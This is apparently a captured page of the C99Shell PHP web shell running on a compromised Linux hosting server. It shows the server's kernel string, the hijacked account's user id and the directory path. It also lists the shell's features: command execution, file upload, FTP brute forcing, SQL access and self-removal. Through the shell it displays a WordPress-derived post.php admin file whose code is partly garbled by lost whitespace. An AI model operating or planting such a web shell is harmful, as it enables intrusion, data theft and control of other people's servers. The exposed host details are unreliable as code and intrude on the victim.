!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-admin/   drwxr-xr-x
Free 293.07 GB of 429.69 GB (68.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     post.php (10.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Edit post administration panel.
 *
 * Manage Post actions: post, edit, delete, etc.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** WordPress Administration Bootstrap */
require_once( dirname__FILE__ ) . '/admin.php' );

$parent_file  'edit.php';
$submenu_file 'edit.php';

wp_reset_vars( array( 'action' ) );

if ( isset( 
$_GET['post'] ) && isset( $_POST['post_ID'] ) && (int) $_GET['post'] !== (int) $_POST['post_ID'] ) {
    
wp_die__'A post ID mismatch has been detected.' ), __'Sorry, you are not allowed to edit this item.' ), 400 );
} elseif ( isset( 
$_GET['post'] ) ) {
    
$post_id $post_ID = (int) $_GET['post'];
} elseif ( isset( 
$_POST['post_ID'] ) ) {
    
$post_id $post_ID = (int) $_POST['post_ID'];
} else {
    
$post_id $post_ID 0;
}

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post
 */
global $post_type$post_type_object$post;

if ( 
$post_id ) {
    
$post get_post$post_id );
}

if ( 
$post ) {
    
$post_type        $post->post_type;
    
$post_type_object get_post_type_object$post_type );
}

if ( isset( 
$_POST['post_type'] ) && $post && $post_type !== $_POST['post_type'] ) {
    
wp_die__'A post type mismatch has been detected.' ), __'Sorry, you are not allowed to edit this item.' ), 400 );
}

if ( isset( 
$_POST['deletepost'] ) ) {
    
$action 'delete';
} elseif ( isset( 
$_POST['wp-preview'] ) && 'dopreview' == $_POST['wp-preview'] ) {
    
$action 'preview';
}

$sendback wp_get_referer();
if ( ! 
$sendback ||
     
strpos$sendback'post.php' ) !== false ||
     
strpos$sendback'post-new.php' ) !== false ) {
    if ( 
'attachment' == $post_type ) {
        
$sendback admin_url'upload.php' );
    } else {
        
$sendback admin_url'edit.php' );
        if ( ! empty( 
$post_type ) ) {
            
$sendback add_query_arg'post_type'$post_type$sendback );
        }
    }
} else {
    
$sendback remove_query_arg( array( 'trashed''untrashed''deleted''ids' ), $sendback );
}

switch ( 
$action ) {
    case 
'post-quickdraft-save':
        
// Check nonce and capabilities
        
$nonce     $_REQUEST['_wpnonce'];
        
$error_msg false;

        
// For output of the quickdraft dashboard widget
        
require_once ABSPATH 'site-admin/includes/dashboard.php';

        if ( ! 
wp_verify_nonce$nonce'add-post' ) ) {
            
$error_msg __'Unable to submit this form, please refresh and try again.' );
        }

        if ( ! 
current_user_canget_post_type_object'post' )->cap->create_posts ) ) {
            exit;
        }

        if ( 
$error_msg ) {
            return 
wp_dashboard_quick_press$error_msg );
        }

        
$post get_post$_REQUEST['post_ID'] );
        
check_admin_referer'add-' $post->post_type );

        
$_POST['comment_status'] = get_default_comment_status$post->post_type );
        
$_POST['ping_status']    = get_default_comment_status$post->post_type'pingback' );

        
edit_post();
        
wp_dashboard_quick_press();
        exit;

    case 
'postajaxpost':
    case 
'post':
        
check_admin_referer'add-' $post_type );
        
$post_id 'postajaxpost' == $action edit_post() : write_post();
        
redirect_post$post_id );
        exit();

    case 
'edit':
        
$editing true;

        if ( empty( 
$post_id ) ) {
            
wp_redirectadmin_url'post.php' ) );
            exit();
        }

        if ( ! 
$post ) {
            
wp_die__'You attempted to edit an item that doesn&#8217;t exist. Perhaps it was deleted?' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
in_array$typenowget_post_types( array( 'show_ui' => true ) ) ) ) {
            
wp_die__'Sorry, you are not allowed to edit posts in this post type.' ) );
        }

        if ( ! 
current_user_can'edit_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to edit this item.' ) );
        }

        if ( 
'trash' == $post->post_status ) {
            
wp_die__'You can&#8217;t edit this item because it is in the Trash. Please restore it and try again.' ) );
        }

        if ( ! empty( 
$_GET['get-post-lock'] ) ) {
            
check_admin_referer'lock-post_' $post_id );
            
wp_set_post_lock$post_id );
            
wp_redirectget_edit_post_link$post_id'url' ) );
            exit();
        }

        
$post_type $post->post_type;
        if ( 
'post' == $post_type ) {
            
$parent_file   'edit.php';
            
$submenu_file  'edit.php';
            
$post_new_file 'post-new.php';
        } elseif ( 
'attachment' == $post_type ) {
            
$parent_file   'upload.php';
            
$submenu_file  'upload.php';
            
$post_new_file 'media-new.php';
        } else {
            if ( isset( 
$post_type_object ) && $post_type_object->show_in_menu && $post_type_object->show_in_menu !== true ) {
                
$parent_file $post_type_object->show_in_menu;
            } else {
                
$parent_file "edit.php?post_type=$post_type";
            }
            
$submenu_file  "edit.php?post_type=$post_type";
            
$post_new_file "post-new.php?post_type=$post_type";
        }

        
$title $post_type_object->labels->edit_item;

        
/**
         * Allows replacement of the editor.
         *
         * @since 4.9.0
         *
         * @param boolean      Whether to replace the editor. Default false.
         * @param object $post Post object.
         */
        
if ( apply_filters'replace_editor'false$post ) === true ) {
            break;
        }

        if ( 
use_block_editor_for_post$post ) ) {
            include( 
ABSPATH 'site-admin/edit-form-blocks.php' );
            break;
        }

        if ( ! 
wp_check_post_lock$post->ID ) ) {
            
$active_post_lock wp_set_post_lock$post->ID );

            if ( 
'attachment' !== $post_type ) {
                
wp_enqueue_script'autosave' );
            }
        }

        
$post get_post$post_idOBJECT'edit' );

        if ( 
post_type_supports$post_type'comments' ) ) {
            
wp_enqueue_script'admin-comments' );
            
enqueue_comment_hotkeys_js();
        }

        include( 
ABSPATH 'site-admin/edit-form-advanced.php' );

        break;
        
    case 
'clone':
    
        
//Don't let user clone if user plan is selected
        
global $sitepad;
        
        if(
$post->post_type == 'page'){
        
            
$count_pages wp_count_posts('page');
            
$total_page_count = (int) ($count_pages->publish); //Exclude header and Footer from total page count
            
            //Make a limit check for Pages..
            
if(!empty($sitepad['features']['pages']) && $total_page_count >= $sitepad['features']['pages']){
                
// You have corssed the limit of pages allowed
                
wp_redirectadmin_url'pages?error_type=pages'));
                exit;
            }
        
        }
        
        
$clone_post = array();
        
$post_content get_post_field('post_content'$post->ID);
        
        if(!empty(
$post_content)){
            
$clone_post['post_content'] = $post_content;
        }else{
            
$clone_post['post_content'] = '';
        }
        
        
$clone_post['post_type'] = $post->post_type;
        
$clone_post['post_title'] = 'New '.ucfirst($post->post_type);
        
$clone_post['post_name'] = 'new-'.$post->post_type;
        
$clone_post['post_status'] = ($post->post_status != 'publish') ? $post->post_status 'draft';
        
//r_print($clone_post);die();
        
        
$post_id wp_insert_post($clone_post);
        
        
$pldata get_post_meta($post->ID'pagelayer-data'true);

        if(!empty(
$pldata)){
            
update_post_meta($post_id'pagelayer-data'time());
        }
        
        
wp_redirectpagelayer_livelink($post_id) );
        break;

    case 
'editattachment':
        
check_admin_referer'update-post_' $post_id );

        
// Don't let these be changed
        
unset( $_POST['guid'] );
        
$_POST['post_type'] = 'attachment';

        
// Update the thumbnail filename
        
$newmeta          wp_get_attachment_metadata$post_idtrue );
        
$newmeta['thumb'] = wp_basename$_POST['thumb'] );

        
wp_update_attachment_metadata$post_id$newmeta );

        
// Intentional fall-through to trigger the edit_post() call.
    
case 'editpost':
        
check_admin_referer'update-post_' $post_id );

        
$post_id edit_post();

        
// Session cookie flag that the post was saved
        
if ( isset( $_COOKIE['wp-saving-post'] ) && $_COOKIE['wp-saving-post'] === $post_id '-check' ) {
            
setcookie'wp-saving-post'$post_id '-saved'time() + DAY_IN_SECONDSADMIN_COOKIE_PATHCOOKIE_DOMAINis_ssl() );
        }

        
redirect_post$post_id ); // Send user on their way while we keep working

        
exit();

    case 
'trash':
        
check_admin_referer'trash-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'The item you are trying to move to the Trash no longer exists.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to move this item to the Trash.' ) );
        }

        if ( 
$user_id wp_check_post_lock$post_id ) ) {
            
$user get_userdata$user_id );
            
wp_diesprintf__'You cannot move this item to the Trash. %s is currently editing.' ), $user->display_name ) );
        }

        if ( ! 
wp_trash_post$post_id ) ) {
            
wp_die__'Error in moving to Trash.' ) );
        }

        
wp_redirect(
            
add_query_arg(
                array(
                    
'trashed' => 1,
                    
'ids'     => $post_id,
                ),
                
$sendback
            
)
        );
        exit();

    case 
'untrash':
        
check_admin_referer'untrash-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'The item you are trying to restore from the Trash no longer exists.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to restore this item from the Trash.' ) );
        }

        if ( ! 
wp_untrash_post$post_id ) ) {
            
wp_die__'Error in restoring from Trash.' ) );
        }

        
wp_redirectadd_query_arg'untrashed'1$sendback ) );
        exit();

    case 
'delete':
        
check_admin_referer'delete-post_' $post_id );

        if ( ! 
$post ) {
            
wp_die__'This item has already been deleted.' ) );
        }

        if ( ! 
$post_type_object ) {
            
wp_die__'Invalid post type.' ) );
        }

        if ( ! 
current_user_can'delete_post'$post_id ) ) {
            
wp_die__'Sorry, you are not allowed to delete this item.' ) );
        }

        if ( 
$post->post_type == 'attachment' ) {
            
$force = ( ! MEDIA_TRASH );
            if ( ! 
wp_delete_attachment$post_id$force ) ) {
                
wp_die__'Error in deleting.' ) );
            }
        } else {
            if ( ! 
wp_delete_post$post_idtrue ) ) {
                
wp_die__'Error in deleting.' ) );
            }
        }

        
wp_redirectadd_query_arg'deleted'1$sendback ) );
        exit();

    case 
'preview':
        
check_admin_referer'update-post_' $post_id );

        
$url post_preview();

        
wp_redirect$url );
        exit();

    case 
'toggle-custom-fields':
        
check_admin_referer'toggle-custom-fields' );

        
$current_user_id get_current_user_id();
        if ( 
$current_user_id ) {
            
$enable_custom_fields = (bool) get_user_meta$current_user_id'enable_custom_fields'true );
            
update_user_meta$current_user_id'enable_custom_fields', ! $enable_custom_fields );
        }

        
wp_safe_redirectwp_get_referer() );
        exit();

    default:
        
/**
         * Fires for a given custom post action request.
         *
         * The dynamic portion of the hook name, `$action`, refers to the custom post action.
         *
         * @since 4.6.0
         *
         * @param int $post_id Post ID sent with the request.
         */
        
do_action"post_action_{$action}"$post_id );

        
wp_redirectadmin_url'edit.php' ) );
        exit();
// end switch
include( ABSPATH 'site-admin/admin-footer.php' );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.099 ]--